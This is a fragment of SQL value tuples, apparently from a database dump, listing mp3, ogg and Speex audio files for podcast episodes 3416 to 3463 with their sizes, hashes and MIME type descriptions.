(3416,'hpr3416.mp3','mp3',47317586,'85b0abba98db8c101ce42ea4de88d9a1796ecf77','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3416,'hpr3416.ogg','ogg',49226984,'ad533f19b2e7b7919662df89619b92db75dd8a6e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3416,'hpr3416.spx','spx',21132232,'86db817fb571ed5f633d9757b86529aaa4941ed1','application/ogg; charset=binary','Ogg data, Speex audio'),
(3417,'hpr3417.mp3','mp3',6156495,'d7dd9145103dbc486e94b65a58817df948bb2dc9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3417,'hpr3417.ogg','ogg',6830178,'6416ddd76c60744543cdcbd2b3778976be3dfa1e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3417,'hpr3417.spx','spx',2749257,'87ebc31c510fabb39d4049ed500e949d334915fe','application/ogg; charset=binary','Ogg data, Speex audio'),
(3418,'hpr3418.mp3','mp3',6341701,'8029901f80124c5ad988d3400dd7adcd84dbbde5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3418,'hpr3418.ogg','ogg',6803361,'b47e2d6a08e1412c9c630e956a274a292a2bffb5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3418,'hpr3418.spx','spx',2832065,'eb99e6b04717140aaf87cb0f622e6722b9e43319','application/ogg; charset=binary','Ogg data, Speex audio'),
(3419,'hpr3419.mp3','mp3',31160963,'8e9cdf91e38f395c79986ef1e8ddfa9043682307','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3419,'hpr3419.ogg','ogg',29310344,'b8ed66c6c37dac0c8b23cbc3e86fcde3da5565ca','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3419,'hpr3419.spx','spx',13916577,'f4293658082ab52a9d01cb7968bc667ea421de70','application/ogg; charset=binary','Ogg data, Speex audio'),
(3420,'hpr3420.mp3','mp3',6754607,'f52f6d4b01d975b6c2af8cff31871fcd0bb7185d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3420,'hpr3420.ogg','ogg',7822551,'c468aa30ce01d0b4d5c62ff2ba460b42a6acb515','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3420,'hpr3420.spx','spx',3016395,'92ba12c3806d5274253cbce098b93b6a8a1ee763','application/ogg; charset=binary','Ogg data, Speex audio'),
(3421,'hpr3421.mp3','mp3',8883710,'d55ecd1efdc4d9bfda285132870ffd99c3f49cda','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3421,'hpr3421.ogg','ogg',9813209,'6d279ada509b27f2e94db8920e09c343333bdb46','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3421,'hpr3421.spx','spx',3967357,'ff90d2309e6dc05127cb0ec327b6179168ede269','application/ogg; charset=binary','Ogg data, Speex audio'),
(3422,'hpr3422.mp3','mp3',11852452,'d2d4f438a7807e67064a4a68656f406e63bf7805','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3422,'hpr3422.ogg','ogg',12232375,'db6218c969338565918302dd55837dacbbe9878d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3422,'hpr3422.spx','spx',5293174,'c0233c4443154218a404c16c66847109314e830d','application/ogg; charset=binary','Ogg data, Speex audio'),
(3423,'hpr3423.mp3','mp3',18445538,'1a851b57d23682cdbf5d4d86f6bce967715f001d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3423,'hpr3423.ogg','ogg',20865921,'457cd50e6398b2819feea3e037e6089391777876','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3423,'hpr3423.spx','spx',8237706,'38167e99bcad85bd4ae4c600b1a57151dda08a30','application/ogg; charset=binary','Ogg data, Speex audio'),
(3424,'hpr3424.mp3','mp3',6930584,'f6c26d546c3752545b35a9d3db1920db43d60a5e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3424,'hpr3424.ogg','ogg',7206766,'8f8035f5062869f01e5244302cc3a07fd8a2e970','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3424,'hpr3424.spx','spx',3094926,'325ca20ed4baa618e9f3ee671a4bceea24c368eb','application/ogg; charset=binary','Ogg data, Speex audio'),
(3425,'hpr3425.mp3','mp3',9577515,'a833d088a822966fc10ba917d5069c4a90ac73f0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3425,'hpr3425.ogg','ogg',10184246,'7028b12a8e6829f7d5ff5343e7b7151fa12bdf2d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3425,'hpr3425.spx','spx',4277204,'ef3c858da867ba9002010d40e5c357ad1665fe48','application/ogg; charset=binary','Ogg data, Speex audio'),
(3426,'hpr3426.mp3','mp3',11641001,'ea4b8ec942d85b964fbcea4cfeed4068b62ab13d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3426,'hpr3426.ogg','ogg',12921553,'961942e8d4ce44b9482f41ee61538abbd52b48ea','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3426,'hpr3426.spx','spx',5198727,'6ff3d73b7fb4f9795dba4bf945928b552f441198','application/ogg; charset=binary','Ogg data, Speex audio'),
(3427,'hpr3427.mp3','mp3',9899340,'4c37b273cac803b5cc59da9e555f33f238a3f19b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3427,'hpr3427.ogg','ogg',10987526,'4628878286a22f90b4fa993d4c5d46ac8a761348','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3427,'hpr3427.spx','spx',4420828,'41dbb5bd1b5245c62274bdbf3ecb6824662ca25e','application/ogg; charset=binary','Ogg data, Speex audio'),
(3428,'hpr3428.mp3','mp3',15470076,'2ed68e2e8df8195e8a59040a775b537b7fa47961','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3428,'hpr3428.ogg','ogg',16466931,'a0f047179db0b3faec43b767591822bf4fc314d8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3428,'hpr3428.spx','spx',6908874,'85bdfbabae7327da2e5076d37344586e7a210327','application/ogg; charset=binary','Ogg data, Speex audio'),
(3429,'hpr3429.mp3','mp3',42819697,'7607eb8a7bba94e39a749ff3a6dd1a931b7ce80c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3429,'hpr3429.ogg','ogg',41695194,'bc17efa1823db01d90c3d2e558604c078cc927c9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3429,'hpr3429.spx','spx',19123451,'80c41cf1df8163f4dcfda6e60cb6ad9cbe0fea66','application/ogg; charset=binary','Ogg data, Speex audio'),
(3430,'hpr3430.mp3','mp3',6886850,'9263cb3cc7557167bb6eb7602029e6f0da0c85a5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3430,'hpr3430.ogg','ogg',7814572,'ce382ace5af6d3a94c580862f40f6f67b1ad3af7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3430,'hpr3430.spx','spx',3075520,'7b0fbe433aaa0db87e1d85ee818bdd27704e8477','application/ogg; charset=binary','Ogg data, Speex audio'),
(3431,'hpr3431.mp3','mp3',22463201,'77cb9b34564dd69e9640dbc5dba64d5fa90df467','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3431,'hpr3431.ogg','ogg',24388418,'3212a33d05bca372737c72ccbc3fc13782027bbd','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3431,'hpr3431.spx','spx',10032048,'fcb9de38ec59daf637bd7ebaa5731b9703cd5227','application/ogg; charset=binary','Ogg data, Speex audio'),
(3432,'hpr3432.mp3','mp3',16336590,'1d6416eb4d65d5fbf476354d7ff5b7f47331f5d0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3432,'hpr3432.ogg','ogg',18112164,'7aa0081dc1c72c8342eae6e81e4f519727dcbe36','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3432,'hpr3432.spx','spx',7295908,'7250b51ba19b4cd96fa0987907985ad0f2d60ab3','application/ogg; charset=binary','Ogg data, Speex audio'),
(3433,'hpr3433.mp3','mp3',21646473,'4318532363e99678049fb2e46e27147ee51aa616','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3433,'hpr3433.ogg','ogg',24155118,'ed68a022247a89cd53bf2546ebacd2671e3ebf57','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3433,'hpr3433.spx','spx',9667279,'d68a4d8adb6f0a1bae74cea61f9494bc84a83308','application/ogg; charset=binary','Ogg data, Speex audio'),
(3434,'hpr3434.mp3','mp3',15855464,'de09f8b2eadf9652f2a980b82329992ffbfe3fc7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3434,'hpr3434.ogg','ogg',17825322,'6b6414fe762823c524d308e0540c8ac53caf3da2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3434,'hpr3434.spx','spx',7080979,'388730b1f5888ca546a4ba00f87348eaa2565d87','application/ogg; charset=binary','Ogg data, Speex audio'),
(3435,'hpr3435.mp3','mp3',9619314,'9b843e5ef7e1b3ef3de0906003f503d55ef2ae83','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3435,'hpr3435.ogg','ogg',9876880,'a293931985599e2c06f938b55e1e0b34696883ff','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3435,'hpr3435.spx','spx',4295846,'f4b173737d81e46582e9b729c916c04814641eae','application/ogg; charset=binary','Ogg data, Speex audio'),
(3436,'hpr3436.mp3','mp3',27345821,'da332d563a7d3bb34947551c641accfebf57aaf8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3436,'hpr3436.ogg','ogg',28036152,'3bb84b564396ff73246e6a7e4f0a9fd37b7b34f6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3436,'hpr3436.spx','spx',12212664,'e3281088aea6ea2240e2a68f38bf74750354d0ad','application/ogg; charset=binary','Ogg data, Speex audio'),
(3437,'hpr3437.mp3','mp3',3537560,'096602aa61957ce4b2d758a0ebbd8a5a7b4c8537','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3437,'hpr3437.ogg','ogg',3897461,'9cb6f63572e5f27e86db7377c453f69ba3917fc7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3437,'hpr3437.spx','spx',1579647,'ea776e96262ca4716e1b8e8a9e7e73e7b643da22','application/ogg; charset=binary','Ogg data, Speex audio'),
(3438,'hpr3438.mp3','mp3',5567203,'253b60c68cb89e987c05011ac37c98ef660cc136','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3438,'hpr3438.ogg','ogg',6203729,'fc1b99926c3bedaec289c6892070326f3ed0fb4a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3438,'hpr3438.spx','spx',2486120,'3e3770298b6653c2dc450b71dbf1b04595d44b82','application/ogg; charset=binary','Ogg data, Speex audio'),
(3439,'hpr3439.mp3','mp3',47812835,'d53204df277689942aaa06cc5e1339ce437a6308','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3439,'hpr3439.ogg','ogg',45039835,'11ade9de33b487e752f2231e86e8be1aa1d787a8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3439,'hpr3439.spx','spx',21353420,'87bfe3c364fff604766ef3881c48f73911410d94','application/ogg; charset=binary','Ogg data, Speex audio'),
(3440,'hpr3440.mp3','mp3',10471935,'69edb7649fd8581396aba581bafdc3c17be89e35','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3440,'hpr3440.ogg','ogg',11920404,'a4afe55b86097e7844f2c9efb96a7eaa3b5929de','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3440,'hpr3440.spx','spx',4676646,'6851ca7866306e2fcce8ab4d3869da67ea2112f0','application/ogg; charset=binary','Ogg data, Speex audio'),
(3441,'hpr3441.mp3','mp3',7854246,'de2323277833fecac61870ae27db85ee9eefcbf5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3441,'hpr3441.ogg','ogg',8827484,'a61cf8d60b42f98265951830d0a87837bea0e256','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3441,'hpr3441.spx','spx',3507569,'07716e76aea604d96bdf454d26ebdce0992203fd','application/ogg; charset=binary','Ogg data, Speex audio'),
(3442,'hpr3442.mp3','mp3',6653684,'82f39f1c7b414d73d35a267e5ae3e8a303a7f8f3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3442,'hpr3442.ogg','ogg',6551234,'74a5a0b5a409ca95336143221e8d4ebff4f0ebdd','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3442,'hpr3442.spx','spx',2971311,'b61993d1cbf750bf6e922f093cb19d6d09581444','application/ogg; charset=binary','Ogg data, Speex audio'),
(3443,'hpr3443.mp3','mp3',5884012,'3b4010039c29ddb823b20f88a424ae13917ce23c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3443,'hpr3443.ogg','ogg',5319459,'f0045195d00890bf9f2e2bb04644a7f365a7694f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3443,'hpr3443.spx','spx',2627543,'dfa028527da40ea0f557bb20aef1157c818f83c4','application/ogg; charset=binary','Ogg data, Speex audio'),
(3444,'hpr3444.mp3','mp3',10087025,'f9d09d089c2c48ecd08a33176d9cff0792abe8d4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3444,'hpr3444.ogg','ogg',12317166,'6aeec399c5818d15d99db3d0442649adb2987905','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3444,'hpr3444.spx','spx',4504743,'62bae5c1678c22754fb01717ce9a21c600e32bf3','application/ogg; charset=binary','Ogg data, Speex audio'),
(3445,'hpr3445.mp3','mp3',35776214,'39b684da4610f46ccd5f711ed0487ba7c6d3aac2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3445,'hpr3445.ogg','ogg',36334275,'8f2b1f6a1c3cb5db356b7d3a74fc1b0dd52c3e26','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3445,'hpr3445.spx','spx',15977712,'29ae0ec3fa3b69ebc15c7be732aa336faba42552','application/ogg; charset=binary','Ogg data, Speex audio'),
(3446,'hpr3446.mp3','mp3',12152739,'81ccdcab0cf3ed45ba2ace5b70b97566b4f42084','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3446,'hpr3446.ogg','ogg',13351998,'3af8a2d9ef83e7b301b2bf829c032265eb9c8ff4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3446,'hpr3446.spx','spx',5427288,'68165a72bdb293fbd56cb1ae72716e8d4aefc579','application/ogg; charset=binary','Ogg data, Speex audio'),
(3447,'hpr3447.mp3','mp3',10332563,'531dfdf85540569955d8fac413b7c322516db32f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3447,'hpr3447.ogg','ogg',11103851,'3ca145254dff6bbdf17fe87118d86c836dd5b365','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3447,'hpr3447.spx','spx',4614346,'e0b16ad4718aecab1aff04440c7db410a831dd7e','application/ogg; charset=binary','Ogg data, Speex audio'),
(3448,'hpr3448.mp3','mp3',22573960,'fa8348392215fce69bc24cbd574806da50591b3c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3448,'hpr3448.ogg','ogg',18425419,'b53cde2f464d2b4ee5fce1276be8a55ecd87ba80','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3448,'hpr3448.spx','spx',10081504,'c0ff04ad5b9b1beaa2a7c434507dd27d0915ba3b','application/ogg; charset=binary','Ogg data, Speex audio'),
(3449,'hpr3449.mp3','mp3',32801600,'7a107af5699f4f36e6baa096107f54e464e7646a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3449,'hpr3449.ogg','ogg',31837306,'dc6878c933bd005d232d4e33419f3651f0af246d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3449,'hpr3449.spx','spx',14649319,'b73a51a5f031cfc9056209554efc731d80be6ae4','application/ogg; charset=binary','Ogg data, Speex audio'),
(3450,'hpr3450.mp3','mp3',7089157,'9bc3ac2970796f2e517e2e2e794ad0f9fd990a02','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3450,'hpr3450.ogg','ogg',8042418,'079e4018282eb3ddf5b8d589abad8a4cf1772661','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3450,'hpr3450.spx','spx',3165846,'e47a5ea0fa1a9ea599693d761a423a0e86b6aa06','application/ogg; charset=binary','Ogg data, Speex audio'),
(3451,'hpr3451.mp3','mp3',7801125,'29f9704e6fbbe93ff6e27aa0522e7d9fc2d2822b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3451,'hpr3451.ogg','ogg',8956366,'7eef9bc24d2ad879aec053b43e954431bacc764f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3451,'hpr3451.spx','spx',3483750,'e60f4cef8c3f49fe5acc565a178710eeaf04e686','application/ogg; charset=binary','Ogg data, Speex audio'),
(3452,'hpr3452.mp3','mp3',3728170,'b826f5b41479ab8a6a3f17f04bb02c7b155f611e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3452,'hpr3452.ogg','ogg',3273067,'d873c77c16bf4247c02a3b36f5df50a8c5054590','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3452,'hpr3452.spx','spx',1664768,'2cf4977a19bc0cb66ed04715070d73dee575138e','application/ogg; charset=binary','Ogg data, Speex audio'),
(3453,'hpr3453.mp3','mp3',11180010,'424b1ef02028a4df3354a110ed5b4579fbb0b96b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3453,'hpr3453.ogg','ogg',11835955,'76ba613c0a5d6bbc0bf661aa6912224893632688','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3453,'hpr3453.spx','spx',4992898,'17b21f3810b3cdc9dc5a3f112cd0ebce00d0a306','application/ogg; charset=binary','Ogg data, Speex audio'),
(3454,'hpr3454.mp3','mp3',5947326,'362b9fc6f87e53666ddb863eb232dc42bc3f04b9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3454,'hpr3454.ogg','ogg',6380552,'9a205a960d8da110b3b7949dc56bcf639620ca69','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3454,'hpr3454.spx','spx',2655885,'900734e54a30e3744fbddd27ada38576aa11b425','application/ogg; charset=binary','Ogg data, Speex audio'),
(3455,'hpr3455.mp3','mp3',2685778,'e22dacecae7f600e7fe443be6f01780937feb5e7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3455,'hpr3455.ogg','ogg',3040259,'1fa0678c6621190e9dc946ce34b410d63f2ada7f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3455,'hpr3455.spx','spx',1199232,'5cd5b9c5c9ca73d063602bec86272b5344e27b03','application/ogg; charset=binary','Ogg data, Speex audio'),
(3456,'hpr3456.mp3','mp3',39196632,'c7bf185c900e374c11f7d26784f00ff3159cd4f2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3456,'hpr3456.ogg','ogg',39432588,'7e8bf789d707eba4ea85f7c8a38267fb3d95cb8d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3456,'hpr3456.spx','spx',17505302,'07a6c4d44864366993d486d6ff686ba78b23c03b','application/ogg; charset=binary','Ogg data, Speex audio'),
(3457,'hpr3457.mp3','mp3',19199296,'800124fcd0043552322a6f10d38917f542d30989','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3457,'hpr3457.ogg','ogg',18657339,'b6a9571393380e5403ffac48454381c9805afac9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3457,'hpr3457.spx','spx',8574314,'e6715f8b3b9a9075b132f950912806e51e0776d8','application/ogg; charset=binary','Ogg data, Speex audio'),
(3458,'hpr3458.mp3','mp3',30341964,'9551513a77564adb8e1332c4ee3bc7858a7bdf65','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3458,'hpr3458.ogg','ogg',33129109,'bd781e9558479daec23e704ba957634bf6d3d021','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3458,'hpr3458.spx','spx',13550798,'6edf74428dff045e260d0b345450d7305418a51e','application/ogg; charset=binary','Ogg data, Speex audio'),
(3459,'hpr3459.mp3','mp3',36315598,'2b5d6fe0a50bf6afd87f860f4a7b3ac0c31c638d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3459,'hpr3459.ogg','ogg',34690873,'1bfe447724c4717d4a1c6157b80a8bc4bc3995eb','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3459,'hpr3459.spx','spx',16218600,'1eab4e3f74010767700263790103006987ad5d15','application/ogg; charset=binary','Ogg data, Speex audio'),
(3460,'hpr3460.mp3','mp3',9992110,'7c972bfb56343bccb8d980f3d18e007a28ede812','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3460,'hpr3460.ogg','ogg',11307133,'81ec75d17f072e4c50f098ac8b933ab548e88661','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3460,'hpr3460.spx','spx',4462261,'4666fa95d6cb462145c4e6c2d8de2ee902798f96','application/ogg; charset=binary','Ogg data, Speex audio'),
(3461,'hpr3461.mp3','mp3',20084812,'0057d7872e57461d9b01f1ca6911060e3dc61bfe','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3461,'hpr3461.ogg','ogg',20274098,'6310387d0511358c6c495e6683737bd9daa4faef','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3461,'hpr3461.spx','spx',8969837,'64ceaf7a753df160f0c21d99cf8599684f94f784','application/ogg; charset=binary','Ogg data, Speex audio'),
(3462,'hpr3462.mp3','mp3',5279420,'d8fb5001561926c6c861c3374fdcb67b357f2577','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3462,'hpr3462.ogg','ogg',5996048,'ba382c21de90eb75decf0b98dd59ed41c1673a80','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3462,'hpr3462.spx','spx',2357563,'caf49c32adb397e64c9bf7dd63c42742c53c4e2d','application/ogg; charset=binary','Ogg data, Speex audio'),
(3463,'hpr3463.mp3','mp3',17028470,'09bcbb062403929e85b1da0a31a6be4d3e147bb8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3463,'hpr3463.ogg','ogg',14423815,'d799c06e0fa8d6f796ce79f9f5228e2cd5cfe275','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3463,'hpr3463.spx','spx',7604831,'450fdb51dbaecf4373247165f1af27b9f131ff9a','application/ogg; charset=binary','Ogg data, Speex audio'),
